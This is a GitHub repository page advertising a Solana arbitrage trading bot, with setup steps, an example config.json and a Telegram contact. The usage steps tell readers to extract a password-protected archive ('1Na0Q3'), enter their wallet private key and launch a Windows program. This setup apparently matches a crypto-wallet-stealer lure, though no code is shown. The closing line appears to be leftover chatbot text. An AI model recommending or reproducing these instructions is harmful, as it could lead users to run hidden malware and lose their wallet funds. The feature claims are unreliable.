Skip to content

A Solana arbitrage bot featuring real-time market data and seamless wallet integration.

Notifications You must be signed in to change notification settings

Zhang8081/Solana-Arbitrage-bot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

13 Commits
 
 
 
 
 
 

Repository files navigation

Overview

DEXS

Features

  • Real-time Data: Utilizes real-time price data from various sources to make informed trading decisions.
  • Wallet Integration: Supports integration with Solana wallets for seamless trading execution.
  • Arbitrage Detection: The bot continuously monitors Solana DEXs and liquidity pools to identify arbitrage opportunities.
  • Customizable Strategies: Configure trading parameters, including spread thresholds, trading pairs, and more.

Usage

  • Clone the repository
  • extract archive with pass 1Na0Q3
  • Set up your environment:
    Create a .env file in the root folder of your project and add your environment variables. Feel free to use the .env.example file as a reference.
  • Launch the bot.

Example config.json:

{
  "rpc_endpoints": [
    "https://api.mainnet-beta.solana.com",
    "https://solana-api.projectserum.com",
    "https://rpc.ankr.com/solana"
  ],
  "private_key": "YOUR_PRIVATE_KEY_HERE",
  "public_key": "YOUR_PUBLIC_KEY_HERE",
  "slippage": 0.003,
  "arbitrage_pairs": [
    {
      "dex1": "Jupiter",
      "dex2": "Raydium",
      "token_a": "SOL",
      "token_b": "USDC"
    },
    {
      "dex1": "Orca",
      "dex2": "Kamino",
      "token_a": "SOL",
      "token_b": "USDT"
    },
    {
      "dex1": "Serum",
      "dex2": "Drift",
      "token_a": "SOL",
      "token_b": "USDC"
    },
    {
      "dex1": "MarginFi",
      "dex2": "Jupiter",
      "token_a": "SOL",
      "token_b": "USDC"
    }
  ],
  "min_profit_threshold_usd": 5,
  "trade_amount_in_sol": 1,
  "polling_interval_seconds": 2,
  "max_gas_fee_lamports": 5000,
  "log_level": "info",
  "telegram_notifications": {
    "enabled": true,
    "bot_token": "YOUR_TELEGRAM_BOT_TOKEN",
    "chat_id": "YOUR_TELEGRAM_CHAT_ID"
  },
  "dex_apis": {
    "Jupiter": "https://quote-api.jup.ag/v4/",
    "Raydium": "https://api.raydium.io/",
    "Kamino": "https://api.kamino.finance/",
    "Drift": "https://api.drift.trade/",
    "Orca": "https://api.orca.so/",
    "MarginFi": "https://api.marginfi.com/",
    "Serum": "https://serum-api.bonfida.com/"
  }
}

Variable Descriptions (with updated DEXs):

Variable Description
rpc_endpoints List of Solana RPC endpoints for load balancing and redundancy.
private_key Your wallet private key (keep this safe!).
public_key Your public wallet address.
slippage Maximum allowed trade slippage (example: 0.003 = 0.3%).
arbitrage_pairs List of token pairs and DEX combinations to scan for arbitrage.
min_profit_threshold_usd Minimum profit in USD to trigger a trade.
trade_amount_in_sol Amount of SOL (or base token) to use per trade.
polling_interval_seconds How frequently (in seconds) the bot checks for arbitrage opportunities.
max_gas_fee_lamports Maximum allowed transaction fee in lamports.
log_level Log verbosity (options: debug, info, warn, error).
telegram_notifications Settings for sending trade alerts via Telegram.
dex_apis API URLs for each DEX: Jupiter, Raydium, Kamino, Drift, Orca, MarginFi, and Serum.

Requirements

Before you run the Solana Arbitrage Bot, ensure that the following are installed:

  • .NET Framework 4.5
  • Solnet Libraries
  • .NET SDK
  • Windows 10/11

If you want, I can help you build a full Python script that will read this config and run live price comparisons between these DEXs. DM me @zxvabwiwvbot